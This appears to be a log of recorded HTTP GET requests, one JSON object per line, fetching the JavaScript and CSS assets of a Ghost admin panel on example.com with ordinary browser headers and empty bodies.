{"method": "GET", "target": "/ghost/assets/config-xRSk2505.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/preload-helper-DSa19gJg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/index-C3xC5ZJE.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chunk-6KYCQHYJ-KAiPDQaV.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/shade-context-I3ZE4fr1.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/types-tDCnhhI9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/stack-Cw1NkXQD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/router-provider-Ck_ALVt2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/inline-cOcQBh0m.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-Bh3jlIZm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/lazy-component-B6EO-LGC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/use-feature-flag-B2AxquJq.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/schemas-CktAcdb3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-BML9cxFI.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D3v6eoke.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/es2015-LSK0Wp3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DItC4Fk2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D9kRdzHX.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-6DqAnDJT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/tooltip-DkgXrCfH.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-C43r8Yet.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/button-rpPCYpff.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/accordion-D5n73vMe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/a-large-small-t76h0K2a.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/activity-DF_5iIbe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/power-Dm59e8zN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/archive-C7eG93IF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-down-CyS8-WaT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-left-BO9d1zfd.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-right-left-RUZQQxLM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-right-DS949Nuj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/star-off-CTupjXjv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-up-right-B1Aj0Uhl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/arrow-up-DgXkz7LS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/at-sign-C4B0lVaG.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/badge-check-VTMH985H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ban-Dcu1gwnk.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/waypoints-q7i1re5i.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/file-pen-CDIBdMvj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/underline-iyhoxAXr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/book-open-0h559276.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/rocket-CA4Xy7UD.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ticket-DZPWSm3H.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/panel-right-DSxQPvgK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/list-filter-plus-DfUqgJ8X.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chart-no-axes-column-BrpLYwIe.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/check-BiQqsmBo.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-left-wJGECQn7.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-right-vFyqDRE3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/chevron-up-Ca2VI5ye.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-alert-C1QHFpHs.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/info-BifJoFuF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-x-C1RC-lFT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-question-mark-Cgm_Ty1J.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mail-minus-BkihFWcb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/circle-fxmCMRvb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/clock-B9ZlYmYW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/settings-C6dh2TtS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/cloud-off-DOHpaTme.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/code-DG4vO94L.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/coins-CumgzPZa.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/copy-3K3KXqHW.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/credit-card-eZVjvrhJ.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/pin-off-lnj6yrbM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/download-C43CSKLy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/ellipsis-DCpJZgxv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/external-link-CKnhHaI-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/eye-off-6sJT53Wg.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/eye-BUSwIvtb.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/text-wrap-D8X937cr.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/mouse-pointer-2-off-JHhWtGhM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/gift-CjBqHEmp.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/globe-B4vZvmY9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/hash-By5cPrAh.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/heart-CDBO0M2K.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/history-BLta4f7G.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/user-round-plus-CNwSXyN2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/image-DJkRwGFl.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/plug-BeLrBarN.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/inbox-COmMmFZS.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/ghost/assets/smartphone-j5_wyhqO.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
